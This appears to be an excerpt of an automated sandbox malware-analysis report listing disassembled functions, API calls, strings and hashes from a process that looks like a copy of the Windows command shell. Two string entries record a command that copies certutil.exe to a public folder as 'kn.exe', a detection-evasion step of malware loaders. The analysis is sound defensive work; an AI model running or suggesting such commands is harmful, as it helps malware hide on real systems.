                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CurrentFormatMessageThread
                                                                                      • String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
                                                                                      • API String ID: 2411632146-3173542853
                                                                                      • Opcode ID: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
                                                                                      • Instruction ID: f4b7ea4d1058a8c053e6bae0107514ec0741ebd1f435f16a1efe06ba8ae2c79b
                                                                                      • Opcode Fuzzy Hash: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
                                                                                      • Instruction Fuzzy Hash: 4D614C72A09682C1FA64EB51A4049B5B3A0FF48B88FE4413AFA4D17758DF3DE555C720
                                                                                      Function 00007FF78CF526E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 187fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateFile_open_osfhandle
                                                                                      • String ID: con
                                                                                      • API String ID: 2905481843-4257191772
                                                                                      • Opcode ID: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
                                                                                      • Instruction ID: 92e1e1978c9d5b20caec168540a1372ce8b0e75ec2904953bb538c88f55787d6
                                                                                      • Opcode Fuzzy Hash: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
                                                                                      • Instruction Fuzzy Hash: 40718533A086819AF760AF14F441679FAA0FB89B61FA49334DB5E82794DF3CD549CB10
                                                                                      Function 00007FF78CF693E8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 168COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleMode$Handle$wcsrchr$CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailureiswspacewcschr
                                                                                      • String ID:
                                                                                      • API String ID: 3829876242-3916222277
                                                                                      • Opcode ID: a065431fe6af81354ef476bd10952e9750a3a50c047aab405a5f97467c5f577a
                                                                                      • Instruction ID: 72817776b312a2c18106f1ba9892bd5c04f96b448e7d6f0f0844d7b8e47f5bdc
                                                                                      • Opcode Fuzzy Hash: a065431fe6af81354ef476bd10952e9750a3a50c047aab405a5f97467c5f577a
                                                                                      • Instruction Fuzzy Hash: C6617F23A0868286FA54AF11D41557AF7A0FFC9B94FA59134DE0E07794DF3CEA09CB60
                                                                                      Function 00007FF78CF71A40 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 148COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
                                                                                      • String ID: CSVFS$NTFS$REFS
                                                                                      • API String ID: 3510147486-2605508654
                                                                                      • Opcode ID: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
                                                                                      • Instruction ID: c741c9cf78834f40f2d344306bd3f3c727cad1d17d158d676af1a3a06807cd6d
                                                                                      • Opcode Fuzzy Hash: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
                                                                                      • Instruction Fuzzy Hash: 7F614833608BC28AFB619F21E8453E9B7A4FB49B85F949135EA0D4B758DF78D248C710
                                                                                      Function 00007FF78CF472B0 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 283COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • longjmp.MSVCRT(?,00000000,00000000,00007FF78CF47279,?,?,?,?,?,00007FF78CF4BFA9), ref: 00007FF78CF64485
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: longjmp
                                                                                      • String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
                                                                                      • API String ID: 1832741078-366822981
                                                                                      • Opcode ID: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
                                                                                      • Instruction ID: 302de431e1f72f8d999f003c20c9435c3059eaa37c12d8dd492a200b5f7f13ba
                                                                                      • Opcode Fuzzy Hash: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
                                                                                      • Instruction Fuzzy Hash: 72C18E23E0C68285F664FB565541EF8EBA2BB46B84FF40036ED0D97691CF2CE885C761
                                                                                      Function 00007FF78CF4B998 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 275COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDA6
                                                                                        • Part of subcall function 00007FF78CF4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDBD
                                                                                      • memset.MSVCRT ref: 00007FF78CF4BA2B
                                                                                      • wcschr.MSVCRT ref: 00007FF78CF4BA8A
                                                                                      • wcschr.MSVCRT ref: 00007FF78CF4BAAA
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heapwcschr$AllocProcessmemset
                                                                                      • String ID: -$:.\$=,;$=,;+/[] "
                                                                                      • API String ID: 2872855111-969133440
                                                                                      • Opcode ID: 7b3217b0480b3f12f234bd17b6b4b81bb5ac0aea220cc5327607834eba670ac4
                                                                                      • Instruction ID: bf7ca7813572dd7cd55f12e33e82d2f3735191ad9a2ffe0c97399fc482c6f3b5
                                                                                      • Opcode Fuzzy Hash: 7b3217b0480b3f12f234bd17b6b4b81bb5ac0aea220cc5327607834eba670ac4
                                                                                      • Instruction Fuzzy Hash: 1DB1C123A0CA8281FA64AB159084A79E7A0FF88B84FF55235DF5E4B795DF3CE445C360
                                                                                      Function 00007FF78CF4FC30 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 311memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: longjmp$Heap$AllocByteCharMultiProcessWidememmovememset
                                                                                      • String ID: 0123456789$extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                                                      • API String ID: 1606811317-2340392073
                                                                                      • Opcode ID: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
                                                                                      • Instruction ID: 325b06fe8c94905166e0970c98b032a18b6c327fb761c9c95e3ae3d52e3907fa
                                                                                      • Opcode Fuzzy Hash: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
                                                                                      • Instruction Fuzzy Hash: 9FD19F23E09A4282FA10AB25A9046B9B7A0FF45B94FE48231EF5D577E5DF3CE505C720
                                                                                      Function 00007FF78CF703AC Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 219COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$ErrorLast$InformationVolume
                                                                                      • String ID: %04X-%04X$~
                                                                                      • API String ID: 2748242238-2468825380
                                                                                      • Opcode ID: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
                                                                                      • Instruction ID: 0048eb027d014ee4cd62c579c2f20ff9b3f624d8481b2fe043b9777167716c40
                                                                                      • Opcode Fuzzy Hash: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
                                                                                      • Instruction Fuzzy Hash: 7BA19163708BC18AFB25AF20A8516E9B7A1FF85784FA08035EA4D4BB49DF3CD645C710
                                                                                      Function 00007FF78CF5662C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 170COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • wcschr.MSVCRT(?,?,?,?,?,?,?,00007FF78CF56570,?,?,?,?,?,?,00000000,00007FF78CF56488), ref: 00007FF78CF56677
                                                                                      • iswdigit.MSVCRT(?,?,?,?,?,?,?,00007FF78CF56570,?,?,?,?,?,?,00000000,00007FF78CF56488), ref: 00007FF78CF5668F
                                                                                      • _errno.MSVCRT ref: 00007FF78CF566A3
                                                                                      • wcstol.MSVCRT ref: 00007FF78CF566C4
                                                                                      • iswdigit.MSVCRT(?,?,?,?,?,?,?,00007FF78CF56570,?,?,?,?,?,?,00000000,00007FF78CF56488), ref: 00007FF78CF566E4
                                                                                      • iswalpha.MSVCRT(?,?,?,?,?,?,?,00007FF78CF56570,?,?,?,?,?,?,00000000,00007FF78CF56488), ref: 00007FF78CF566FE
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswdigit$_errnoiswalphawcschrwcstol
                                                                                      • String ID: +-~!$APerformUnaryOperation: '%c'
                                                                                      • API String ID: 2348642995-441775793
                                                                                      • Opcode ID: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
                                                                                      • Instruction ID: 8bebb86c37ca6ccb15078a841526ea84c0741244bccf8c72a6ddb14a868ae088
                                                                                      • Opcode Fuzzy Hash: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
                                                                                      • Instruction Fuzzy Hash: 3B717863908A86CAF7606F25E450179F7A0FB49B84BA4D131DB5E86394EF3CA685C720
                                                                                      Function 00007FF78CF49400 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 161COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$ErrorInformationLastVolume_wcsicmptowupper
                                                                                      • String ID: FAT$~
                                                                                      • API String ID: 2238823677-1832570214
                                                                                      • Opcode ID: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
                                                                                      • Instruction ID: da178ba3de633024d39203bbdedcb40c4c40ed3875edffbb7612dd0be8b95408
                                                                                      • Opcode Fuzzy Hash: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
                                                                                      • Instruction Fuzzy Hash: 69717F73708BC18AFB21EF21A8516E9B7A4FB45784FA49035DA4D4BB58DF38D245C710
                                                                                      Function 00007FF78CF4D840 Relevance: 18.4, APIs: 12, Instructions: 444memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF78CF4FE2A), ref: 00007FF78CF4D884
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF78CF4FE2A), ref: 00007FF78CF4D89D
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF78CF4FE2A), ref: 00007FF78CF4D94D
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF78CF4FE2A), ref: 00007FF78CF4D964
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF4DB89
                                                                                      • wcstol.MSVCRT ref: 00007FF78CF4DBDF
                                                                                      • wcstol.MSVCRT ref: 00007FF78CF4DC63
                                                                                      • memmove.MSVCRT ref: 00007FF78CF4DD33
                                                                                      • memmove.MSVCRT ref: 00007FF78CF4DE9A
                                                                                      • longjmp.MSVCRT(?,?,?,?,?,?,?,?,?,00000010,?,00000000,0000000E,00000025,?,00007FF78CF4FE2A), ref: 00007FF78CF4DF1F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocProcessmemmovewcstol$_wcsnicmplongjmp
                                                                                      • String ID:
                                                                                      • API String ID: 1051989028-0
                                                                                      • Opcode ID: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
                                                                                      • Instruction ID: d46bff49839d4fc504d41fc3f2203f1d002f975cd206e1841ef76d4c22432707
                                                                                      • Opcode Fuzzy Hash: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
                                                                                      • Instruction Fuzzy Hash: 44028137A0978283FA24AF15E44067AF6A1FB85B94FA48275DA8D0B794DF3CE445C720
                                                                                      Function 00007FF78CF486B0 Relevance: 18.1, APIs: 8, Strings: 4, Instructions: 138memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$_wcsicmp$AllocProcess
                                                                                      • String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
                                                                                      • API String ID: 3223794493-3086019870
                                                                                      • Opcode ID: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
                                                                                      • Instruction ID: 57f69ccc7cac4f41c1cbf2e6786ea485369da6abfde12c4b3ea2cfcbe124d1e5
                                                                                      • Opcode Fuzzy Hash: d222a0f06bbbc582554831b5995f9d518337be47592992ae4180831db5f06540
                                                                                      • Instruction Fuzzy Hash: 8D519127A08B4286FB14AF15A810179BBA0FF59B50FB89135DA5E477A0DF3CE445C720
                                                                                      Function 00007FF78CF52B94 Relevance: 18.1, APIs: 6, Strings: 6, Instructions: 110COMMON
                                                                                      Download Yara Rule
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID: EQU$GEQ$GTR$LEQ$LSS$NEQ
                                                                                      • API String ID: 0-3124875276
                                                                                      • Opcode ID: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
                                                                                      • Instruction ID: c61128e79bf500a709c4ae3116b4fc98226a75626f8d40ba3e9a0b11d8496945
                                                                                      • Opcode Fuzzy Hash: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
                                                                                      • Instruction Fuzzy Hash: 87518E22A0C64382FB14BF25A4053B9BBA0BF45B45FE09135D70E862A5EF3CA649C771
                                                                                      Function 00007FF78CF6BFEC Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 444COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF558E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF78CF6C6DB), ref: 00007FF78CF558EF
                                                                                        • Part of subcall function 00007FF78CF5081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF78CF5084E
                                                                                      • towupper.MSVCRT ref: 00007FF78CF6C1C9
                                                                                      • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF6C31C
                                                                                      • LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF78CF6C5CB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CriticalDriveEnterEnvironmentFreeLocalSectionTypeVariabletowupper
                                                                                      • String ID: %s $%s>$PROMPT$Unknown$\$extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe $x
                                                                                      • API String ID: 2242554020-619615743
